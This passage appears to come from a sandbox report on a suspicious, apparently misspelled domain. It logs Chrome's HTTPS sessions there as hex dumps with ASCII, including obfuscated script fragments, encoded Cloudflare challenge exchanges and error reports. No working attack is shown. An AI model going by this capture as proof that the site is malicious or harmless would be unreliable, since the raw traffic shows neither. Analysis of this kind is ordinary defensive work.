G}(x),B='nAsAaAb'.split('A'),B=B[jw(1715)][jw(489)](B),C=
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 5b 6a 44 28 38 36 31 29 5d 28 67 6e 2c 64 2c 65 2b 31 2c 31 29 2c 66 3d 63 5b 6a 44 28 32 30 38 30 29 5d 28 31 65 33 2c 66 75 5b 6a 44 28 31 31 31 34 29 5d 5b 6a 44 28 31 30 37 39 29 5d 28 32 2e 36 39 3c 3c 65 2c 33 32 29 29 2c 66 75 5b 6a 44 28 35 32 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6a 45 29 7b 6a 45 3d 6a 44 2c 66 76 5b 6a 45 28 36 31 32 29 5d 5b 6a 45 28 32 35 33 30 29 5d 28 29 7d 2c 66 29 7d 2c 66 75 5b 69 35 28 32 32 37 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 6a 46 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 29 7b 6a 3d 28 6a 46 3d 69 35 2c 69 3d 7b 7d 2c 69 5b 6a 46 28 31 36 35 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 69 5b 6a 46 28 32 33 33 37 29 5d 3d 66 75 6e Data Ascii: [jD(861)](gn,d,e+1,1),f=c[jD(2080)](1e3,fu[jD(1114)][jD(1079)](2.69<<e,32)),fu[jD(520)](function(jE){jE=jD,fv[jE(612)][jE(2530)]()},f)},fu[i5(2279)]=function(f,g,h,jF,i,j,k,l,m,n,o,s,x,B){j=(jF=i5,i={},i[jF(1658)]=function(C,D){return C+D},i[jF(2337)]=fun
2024-04-18 21:05:31 UTC	1369	IN	Data Raw: 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6a 48 29 7b 6a 48 3d 6a 47 2c 66 75 5b 6a 48 28 31 37 30 33 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6b 3d 5b 68 5b 6a 47 28 32 33 38 33 29 5d 28 68 5b 6a 47 28 31 37 33 31 29 5d 2c 63 29 2c 68 5b 6a 47 28 35 39 30 29 5d 28 6a 47 28 39 35 34 29 2c 64 29 2c 6a 47 28 31 31 34 33 29 2b 65 2c 6a 47 28 32 30 36 38 29 2b 66 2c 68 5b 6a 47 28 31 34 39 37 29 5d 28 68 5b 6a 47 28 31 36 30 35 29 5d 2c 4a 53 4f 4e 5b 6a 47 28 31 37 32 35 29 5d 28 67 29 29 5d 5b 6a 47 28 31 37 31 30 29 5d 28 68 5b 6a 47 28 38 32 39 29 5d 29 2c 66 75 5b 6a 47 28 35 32 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6a 49 29 7b 6a 49 3d 6a 47 2c 68 5b 6a 49 28 32 32 38 34 29 5d 21 3d 3d 6a 49 28 35 30 38 29 3f 68 5b 6a 49 28 31 38 35 35 29 5d 28 64 2c 68 5b 6a Data Ascii: 0)](function(jH){jH=jG,fu[jH(1703)]()},1e3):(k=[h[jG(2383)](h[jG(1731)],c),h[jG(590)](jG(954),d),jG(1143)+e,jG(2068)+f,h[jG(1497)](h[jG(1605)],JSON[jG(1725)](g))][jG(1710)](h[jG(829)]),fu[jG(520)](function(jI){jI=jG,h[jI(2284)]!==jI(508)?h[jI(1855)](d,h[j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49749	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:31 UTC	560	OUT	OPTIONS /report/v4?s=yUaZxFC%2FU%2Ba21wbjWgrwo5tOBK361OaAd880pnzXmXt0G9ghuuQb9Q8jeL2Wx%2BFXDG3fhajcERpbMX4hEmrDYQ7ssICuasWwmyPLeN6HVpK4MnuRFHw%2BgzyVixQ2T8DD6Fu1UzlDUsesiw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ridgelineexcavatoin.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 18 Apr 2024 21:05:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49750	35.190.80.1	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:31 UTC	494	OUT	POST /report/v4?s=yUaZxFC%2FU%2Ba21wbjWgrwo5tOBK361OaAd880pnzXmXt0G9ghuuQb9Q8jeL2Wx%2BFXDG3fhajcERpbMX4hEmrDYQ7ssICuasWwmyPLeN6HVpK4MnuRFHw%2BgzyVixQ2T8DD6Fu1UzlDUsesiw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 395 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:31 UTC	395	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 30 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 31 2e 32 31 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 72 69 64 67 65 6c 69 6e 65 65 78 63 61 76 Data Ascii: [{"age":27,"body":{"elapsed_time":608,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.191.217","status_code":403,"type":"http.error"},"type":"network-error","url":"https://ridgelineexcav
2024-04-18 21:05:32 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 18 Apr 2024 21:05:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49751	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:31 UTC	1081	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1569742461:1713472060:wAhT1heed4LdXHG2SnaUyUQLhQzlBAHAgZDrJ7xk3UI/87679d084da044dd/87bab2d808f5b85 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive Content-Length: 2016 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: 87bab2d808f5b85 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ridgelineexcavatoin.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ridgelineexcavatoin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:31 UTC	2016	OUT	Data Raw: 76 5f 38 37 36 37 39 64 30 38 34 64 61 30 34 34 64 64 3d 6c 6d 4c 25 32 62 53 2b 6a 2b 64 2b 4b 2b 78 2b 32 69 38 6e 2b 4b 41 2b 4c 62 4a 50 7a 4d 7a 24 63 44 73 47 44 4a 69 66 6d 4a 67 44 61 2b 48 4c 5a 44 7a 70 4c 44 2d 44 7a 41 5a 24 7a 44 39 67 6a 44 44 61 44 41 44 75 4c 38 43 4b 75 56 70 37 70 44 4a 52 64 44 6b 44 67 61 47 44 6f 48 57 76 56 37 24 44 48 6d 38 36 44 69 24 59 44 77 48 6f 4c 38 4d 7a 44 48 50 44 59 50 4e 69 4e 4f 44 75 78 46 67 44 32 44 64 6d 46 57 66 5a 47 6a 53 4a 43 44 24 37 44 4a 33 78 62 35 56 69 51 38 42 62 51 43 51 61 6d 54 32 47 75 4a 78 7a 51 7a 2b 64 65 38 44 38 46 24 63 62 5a 4a 66 4c 79 24 45 24 4c 39 67 4a 6b 6b 4b 38 55 44 4b 59 63 4a 24 2b 4c 71 2b 38 66 67 38 4b 4a 44 38 56 7a 53 5a 45 7a 44 4d 30 4c 32 44 69 71 4f 69 44 Data Ascii: v_87679d084da044dd=lmL%2bS+j+d+K+x+2i8n+KA+LbJPzMz$cDsGDJifmJgDa+HLZDzpLD-DzAZ$zD9gjDDaDADuL8CKuVp7pDJRdDkDgaGDoHWvV7$DHm86Di$YDwHoL8MzDHPDYPNiNODuxFgD2DdmFWfZGjSJCD$7DJ3xb5ViQ8BbQCQamT2GuJxzQz+de8D8F$cbZJfLy$E$L9gJkkK8UDKYcJ$+Lq+8fg8KJD8VzSZEzDM0L2DiqOiD
2024-04-18 21:05:32 UTC	699	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:32 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: aVU6OXiaofl7xk3dzoGy+7Gp33/jCvrGmea4F9QYiJpTRP/MmRtTz9fIz6EQeOFD$tC6yHC5k0cL2cZB+nvS5mQ== vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0GW%2BBl1nD3i8jKBbL8oc79efgg%2B15HF1%2BgwC%2B%2Bj3vRJ1BpkjHdd6ovnsCc%2B5frrM2MUNPc9Jn0Rob0qhvtRoOSzKcGSIdy7E1zCh%2FPByMsfl5zq4Z6%2F91fdSlWnh5JA5mQEWMkVRURix8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d0e5fd517ef-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:32 UTC	670	IN	Data Raw: 37 35 35 0d 0a 58 55 69 4d 62 34 56 66 59 49 5a 6f 69 47 43 51 63 6e 6c 30 5a 6d 65 64 58 57 32 67 64 71 42 78 70 48 71 63 59 5a 6c 2b 68 71 79 6e 6e 4b 53 45 6e 59 4b 64 6a 48 53 6a 75 61 31 33 73 34 61 4c 64 4a 65 63 6a 62 53 54 6d 6f 53 38 6d 59 47 6b 68 59 47 68 69 37 37 46 75 72 32 6b 6e 4b 69 70 6f 4e 61 74 30 73 61 72 7a 35 76 4b 79 72 75 7a 6d 39 44 5a 75 35 33 68 34 63 47 6a 35 75 44 43 36 71 62 66 77 37 4c 4b 77 36 65 32 71 66 44 30 39 75 71 32 39 4c 54 64 30 65 44 65 76 73 33 63 35 4e 55 45 36 65 66 59 44 4f 76 70 32 77 7a 51 37 2f 48 6c 38 2f 48 6b 39 65 7a 35 36 4f 6b 49 2f 42 38 4f 43 2f 55 55 49 66 51 57 34 75 55 56 48 68 51 69 41 4f 6a 38 2f 75 63 75 2f 43 4d 54 42 44 63 4a 44 51 51 46 44 51 6b 50 4c 7a 38 68 2f 52 6e 32 48 69 39 44 50 6a Data Ascii: 755XUiMb4VfYIZoiGCQcnl0ZmedXW2gdqBxpHqcYZl+hqynnKSEnYKdjHSjua13s4aLdJecjbSTmoS8mYGkhYGhi77Fur2knKipoNat0sarz5vKyruzm9DZu53h4cGj5uDC6qbfw7LKw6e2qfD09uq29LTd0eDevs3c5NUE6efYDOvp2wzQ7/Hl8/Hk9ez56OkI/B8OC/UUIfQW4uUVHhQiAOj8/ucu/CMTBDcJDQQFDQkPLz8h/Rn2Hi9DPj
2024-04-18 21:05:32 UTC	1214	IN	Data Raw: 46 5a 77 66 56 68 6a 57 6d 52 53 67 47 4a 37 67 49 70 68 57 32 5a 69 61 57 52 66 67 33 57 4b 68 6c 65 61 6c 31 68 31 67 4a 78 2b 59 70 4f 41 6d 59 52 31 5a 33 68 33 69 59 6d 62 69 36 36 6d 69 71 68 38 6f 4a 4f 4d 72 4c 4b 58 72 35 75 77 64 36 65 74 72 6e 71 39 73 6f 43 6c 73 6f 4f 2b 71 73 57 30 75 73 75 67 77 38 71 76 6f 4a 43 68 6a 72 2b 79 30 70 43 54 75 4d 69 70 76 72 79 62 30 4a 6e 56 6e 38 2b 7a 33 61 4f 37 30 36 76 43 77 4b 61 70 73 66 48 55 73 75 62 45 35 2b 48 48 2b 39 66 38 2b 4c 54 63 39 72 37 71 75 66 37 75 30 4c 33 6a 43 51 72 6c 31 73 6b 41 35 67 41 54 36 77 37 6b 30 2b 48 54 46 74 59 63 31 42 6e 57 44 64 30 4d 34 50 77 53 32 79 54 77 47 2b 59 72 4b 69 54 2b 4c 78 37 70 41 76 45 4e 45 54 50 31 41 52 49 45 4a 50 51 34 4d 52 66 36 4d 43 6f 4c Data Ascii: FZwfVhjWmRSgGJ7gIphW2ZiaWRfg3WKhleal1h1gJx+YpOAmYR1Z3h3iYmbi66miqh8oJOMrLKXr5uwd6etrnq9soClsoO+qsW0usugw8qvoJChjr+y0pCTuMipvryb0JnVn8+z3aO706vCwKapsfHUsubE5+HH+9f8+LTc9r7quf7u0L3jCQrl1skA5gAT6w7k0+HTFtYc1BnWDd0M4PwS2yTwG+YrKiT+Lx7pAvENETP1ARIEJPQ4MRf6MCoL
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 32 63 65 33 0d 0a 51 44 76 2f 76 48 66 34 78 4c 31 35 66 66 6e 35 68 50 7a 31 78 34 66 34 43 49 51 35 74 37 67 45 77 51 65 4c 77 67 78 36 69 55 71 49 69 67 71 2f 67 73 33 4d 42 55 30 4f 79 67 52 46 66 72 37 51 44 30 79 47 45 51 51 49 53 73 58 53 2f 34 6c 47 30 30 4f 55 31 45 4f 55 46 41 4a 57 54 45 77 4d 45 38 63 4d 56 38 38 56 54 34 64 58 55 56 62 51 31 77 38 4a 55 6c 70 4b 6a 6c 76 4d 45 77 74 4b 32 6c 72 55 55 42 30 61 48 46 51 61 33 4d 35 63 33 73 36 55 33 4e 4f 65 44 79 47 68 49 70 46 68 59 46 33 66 6b 78 75 58 30 36 4a 61 34 57 51 6a 5a 69 5a 6b 34 32 58 68 6e 4f 4e 58 5a 4e 39 65 49 79 51 64 58 43 51 6f 71 4a 32 64 70 57 59 67 48 79 4b 61 61 43 6d 73 37 43 45 64 36 32 31 6a 57 36 50 72 70 6d 62 71 35 42 35 6e 4b 47 53 67 70 75 54 68 71 65 6e 6a 62 Data Ascii: 2ce3QDv/vHf4xL15ffn5hPz1x4f4CIQ5t7gEwQeLwgx6iUqIigq/gs3MBU0OygRFfr7QD0yGEQQISsXS/4lG00OU1EOUFAJWTEwME8cMV88VT4dXUVbQ1w8JUlpKjlvMEwtK2lrUUB0aHFQa3M5c3s6U3NOeDyGhIpFhYF3fkxuX06Ja4WQjZiZk42XhnONXZN9eIyQdXCQoqJ2dpWYgHyKaaCms7CEd621jW6Prpmbq5B5nKGSgpuThqenjb
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 36 39 4d 56 38 75 33 74 36 2f 62 70 39 65 72 34 48 51 73 41 39 66 37 33 37 79 4d 4c 47 76 63 59 4a 41 66 6e 4d 67 6f 6f 37 44 51 58 42 7a 4d 69 47 77 4d 54 46 79 6b 63 47 76 77 76 44 7a 44 37 4e 7a 45 6a 51 43 63 66 50 78 59 69 48 77 59 63 4c 6a 34 54 4c 43 63 4a 4f 44 5a 5a 4f 43 67 6d 56 7a 56 67 47 7a 73 39 47 79 55 36 4f 79 41 78 49 6a 31 4a 56 6a 74 6c 62 6d 4e 74 51 69 77 39 50 6b 41 31 5a 30 30 78 64 44 74 62 66 6d 46 38 50 48 6c 78 67 45 35 6d 50 31 4b 43 58 48 2b 43 59 49 52 6a 55 56 42 76 62 55 39 33 55 49 4a 34 65 6f 32 47 65 33 2b 62 67 56 70 2f 58 6e 75 56 66 71 47 47 5a 6c 79 6f 67 36 32 63 62 6f 5a 6e 69 34 57 53 72 71 61 78 68 37 47 6b 6f 34 69 37 6c 58 75 31 69 35 36 51 73 38 4b 30 78 49 69 6b 6e 4d 72 4a 76 37 36 6a 77 39 4c 4f 74 4d 79 Data Ascii: 69MV8u3t6/bp9er4HQsA9f737yMLGvcYJAfnMgoo7DQXBzMiGwMTFykcGvwvDzD7NzEjQCcfPxYiHwYcLj4TLCcJODZZOCgmVzVgGzs9GyU6OyAxIj1JVjtlbmNtQiw9PkA1Z00xdDtbfmF8PHlxgE5mP1KCXH+CYIRjUVBvbU93UIJ4eo2Ge3+bgVp/XnuVfqGGZlyog62cboZni4WSrqaxh7Gko4i7lXu1i56Qs8K0xIiknMrJv76jw9LOtMy
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 65 51 4a 2f 52 66 32 41 43 54 65 39 76 55 53 48 52 4c 6e 2b 79 55 71 41 52 6b 75 44 2f 77 6f 43 41 30 7a 45 50 51 4d 4b 2f 6e 7a 39 78 72 30 44 45 41 59 48 44 4d 6b 47 55 42 47 41 79 70 42 47 45 64 4e 47 43 67 6a 49 45 74 46 4a 55 6f 30 55 6b 51 78 47 46 70 4d 57 68 6c 63 56 30 34 34 4d 78 30 65 4d 56 56 71 4f 45 6b 6b 4f 6c 68 77 50 54 38 6b 4d 6a 78 4a 4d 30 70 68 62 44 4e 57 63 44 68 4c 58 30 70 58 67 31 4a 33 59 30 5a 53 59 45 52 58 51 34 4a 38 69 5a 43 50 69 49 4e 64 6b 57 4a 6a 63 56 43 46 61 56 69 62 6c 58 52 78 6b 70 47 65 63 70 53 65 6b 32 65 52 71 57 4b 72 66 32 68 38 66 61 39 39 6e 61 53 4e 67 48 57 78 6f 6f 5a 32 70 4c 6d 76 64 34 71 72 6d 59 47 37 73 4c 75 2b 77 6e 36 41 70 38 71 6a 6d 4a 61 64 79 63 69 36 6a 71 7a 53 78 35 61 6c 6c 62 76 54 Data Ascii: eQJ/Rf2ACTe9vUSHRLn+yUqARkuD/woCA0zEPQMK/nz9xr0DEAYHDMkGUBGAypBGEdNGCgjIEtFJUo0UkQxGFpMWhlcV044Mx0eMVVqOEkkOlhwPT8kMjxJM0phbDNWcDhLX0pXg1J3Y0ZSYERXQ4J8iZCPiINdkWJjcVCFaViblXRxkpGecpSek2eRqWKrf2h8fa99naSNgHWxooZ2pLmvd4qrmYG7sLu+wn6Ap8qjmJadyci6jqzSx5allbvT
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 76 31 42 43 44 6a 34 41 6f 6a 2f 41 59 46 48 52 66 68 47 68 7a 70 48 77 49 4b 4e 51 58 77 44 7a 4c 33 4b 78 49 58 51 44 77 55 47 44 49 6b 51 78 39 47 42 41 6b 65 43 45 70 42 4a 79 73 49 44 6a 73 76 4d 68 38 79 4e 69 59 5a 4f 6a 67 35 47 6b 67 37 4c 57 46 51 50 32 41 31 52 32 67 7a 57 79 4a 45 4b 31 6f 75 50 44 6c 4f 54 55 51 2f 50 6d 70 43 61 55 4a 6d 4f 6c 52 4c 55 46 42 4d 4f 7a 6c 69 55 6d 57 47 52 6f 56 48 67 32 56 32 67 6b 56 63 67 46 71 41 59 70 52 6d 5a 6d 52 6c 63 6f 68 73 64 58 35 72 62 36 43 64 63 6f 42 6a 59 32 5a 31 67 6f 4a 32 64 59 57 59 6a 5a 75 4a 69 4b 5a 2f 70 4b 43 48 68 35 6c 30 6c 72 71 2b 69 4c 71 36 72 37 47 64 72 4a 65 6e 6d 71 4f 30 73 37 61 4a 66 38 75 4e 79 62 47 72 71 35 54 48 79 63 48 59 71 4d 57 4e 30 4c 61 34 31 36 79 75 33 Data Ascii: v1BCDj4Aoj/AYFHRfhGhzpHwIKNQXwDzL3KxIXQDwUGDIkQx9GBAkeCEpBJysIDjsvMh8yNiYZOjg5Gkg7LWFQP2A1R2gzWyJEK1ouPDlOTUQ/PmpCaUJmOlRLUFBMOzliUmWGRoVHg2V2gkVcgFqAYpRmZmRlcohsdX5rb6CdcoBjY2Z1goJ2dYWYjZuJiKZ/pKCHh5l0lrq+iLq6r7GdrJenmqO0s7aJf8uNybGrq5THycHYqMWN0La416yu3
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 36 39 77 62 35 4b 52 30 4e 37 69 63 6c 45 67 34 4f 4d 52 62 31 36 7a 6f 46 50 42 34 6f 44 52 6f 69 45 69 77 4f 51 6a 30 55 45 68 6f 33 48 42 6b 62 53 42 67 36 54 55 6b 71 44 30 4d 6a 54 69 34 75 49 31 4e 4a 48 52 35 49 55 56 77 65 54 32 56 54 51 31 74 54 51 55 4e 65 57 79 68 45 4c 6d 68 6b 58 31 52 70 64 46 41 33 54 6d 52 71 65 56 42 49 55 44 6c 73 56 6b 74 39 67 45 52 45 4f 6e 74 47 56 34 56 49 65 6d 64 39 68 6f 39 6a 53 6d 6c 4d 55 6c 68 4c 6d 6f 4e 75 64 6e 53 54 56 6c 71 54 64 58 4f 58 65 56 2b 70 6c 47 4b 48 65 6e 68 74 66 4b 4e 78 6a 70 75 52 73 36 75 7a 73 59 4e 36 70 4b 6d 46 71 6e 5a 79 6c 61 4b 30 77 37 53 6c 73 4c 6a 45 78 5a 53 69 6f 62 75 6b 70 38 4c 53 30 38 32 51 72 4e 66 4b 6d 64 75 76 79 62 32 51 73 74 65 78 31 73 48 4e 33 63 57 2b 77 4c Data Ascii: 69wb5KR0N7iclEg4OMRb16zoFPB4oDRoiEiwOQj0UEho3HBkbSBg6TUkqD0MjTi4uI1NJHR5IUVweT2VTQ1tTQUNeWyhELmhkX1RpdFA3TmRqeVBIUDlsVkt9gEREOntGV4VIemd9ho9jSmlMUlhLmoNudnSTVlqTdXOXeV+plGKHenhtfKNxjpuRs6uzsYN6pKmFqnZylaK0w7SlsLjExZSiobukp8LS082QrNfKmduvyb2Qstex1sHN3cW+wL
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 2f 69 6e 6b 44 65 30 58 4c 52 63 57 39 52 63 45 4f 2f 6b 79 48 6a 52 42 4f 42 34 69 48 7a 45 68 49 53 64 43 46 53 55 76 4f 7a 45 66 51 52 38 75 44 55 67 6c 4f 42 49 7a 4e 6b 51 70 46 6c 70 42 47 78 70 52 50 52 35 56 58 54 4e 64 50 32 41 30 4a 6a 73 2b 58 6c 39 54 4c 55 39 54 63 45 4e 57 57 44 4a 73 5a 7a 64 35 4f 31 31 4a 59 33 39 66 65 48 31 45 59 57 68 66 68 33 52 56 62 34 4e 34 63 49 6c 66 62 33 4f 46 56 48 68 51 56 6f 39 38 65 31 6c 73 66 46 69 64 6c 32 31 7a 6e 57 47 47 68 35 6d 4a 6d 48 57 67 67 5a 47 66 69 34 43 69 6b 70 64 33 6f 6e 4b 55 68 49 52 31 73 62 61 68 74 62 6d 66 6e 48 36 6e 73 61 6d 44 69 71 79 56 72 5a 65 36 72 49 6e 46 76 61 32 6c 70 38 48 42 78 38 33 51 70 62 6e 52 6d 63 48 56 30 64 4b 39 32 65 48 51 31 4f 66 64 33 64 53 37 75 2b 58 Data Ascii: /inkDe0XLRcW9RcEO/kyHjRBOB4iHzEhISdCFSUvOzEfQR8uDUglOBIzNkQpFlpBGxpRPR5VXTNdP2A0Jjs+Xl9TLU9TcENWWDJsZzd5O11JY39feH1EYWhfh3RVb4N4cIlfb3OFVHhQVo98e1lsfFidl21znWGGh5mJmHWggZGfi4Cikpd3onKUhIR1sbahtbmfnH6nsamDiqyVrZe6rInFva2lp8HBx83QpbnRmcHV0dK92eHQ1Ofd3dS7u+X
2024-04-18 21:05:32 UTC	1369	IN	Data Raw: 68 6e 79 4d 54 77 6d 39 52 4d 54 4c 41 38 58 47 43 54 2b 49 7a 34 6d 46 68 63 6b 4c 53 6f 66 4a 69 73 76 52 54 35 41 49 6a 4e 50 52 53 49 33 51 30 59 58 4f 7a 67 75 50 6b 78 42 54 42 31 43 51 45 42 6e 4a 54 73 71 57 54 74 70 58 44 31 74 4d 6c 38 73 59 57 56 43 56 54 49 32 58 45 6c 63 52 30 6c 31 58 7a 74 77 59 32 64 38 5a 6c 5a 47 64 56 61 43 67 46 74 75 62 6d 39 4e 58 58 52 75 62 32 52 6c 57 6f 39 6c 64 58 75 61 61 57 39 7a 64 48 52 30 6f 57 61 43 6e 5a 31 34 69 6e 71 6f 6d 4b 65 4f 67 71 52 30 73 72 64 33 64 4b 4a 30 65 33 69 31 71 6e 2b 33 66 70 69 33 76 59 4b 6b 75 63 44 42 70 4c 2f 44 69 36 44 45 78 37 6d 2b 79 73 75 6e 74 4d 2f 51 71 38 4c 52 31 74 6d 39 76 71 69 31 76 4e 69 73 76 4c 33 6f 71 4c 76 46 31 61 7a 43 75 64 32 6f 32 65 76 45 71 76 4c 6a Data Ascii: hnyMTwm9RMTLA8XGCT+Iz4mFhckLSofJisvRT5AIjNPRSI3Q0YXOzguPkxBTB1CQEBnJTsqWTtpXD1tMl8sYWVCVTI2XElcR0l1XztwY2d8ZlZGdVaCgFtubm9NXXRub2RlWo9ldXuaaW9zdHR0oWaCnZ14inqomKeOgqR0srd3dKJ0e3i1qn+3fpi3vYKkucDBpL/Di6DEx7m+ysuntM/Qq8LR1tm9vqi1vNisvL3oqLvF1azCud2o2evEqvLj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49753	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:31 UTC	874	OUT	GET /favicon.ico HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:32 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Thu, 18 Apr 2024 21:05:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16780 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: 4HpeWrYGwPUOmxZeDRRp2NNMbKYmHuvSFSyuoYQ4IYdWZDu1Amol24stf82gYWnV3UOCyc0Ri5jdH8SzZuI/zajrv9MpwW+fcRc1zwIxeq/FsvjguWAUE5EugStM6ynHu8RseiFaMHeFkJrGc6nY3w==$u2vYegQR0cKaDXftKy8anQ== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
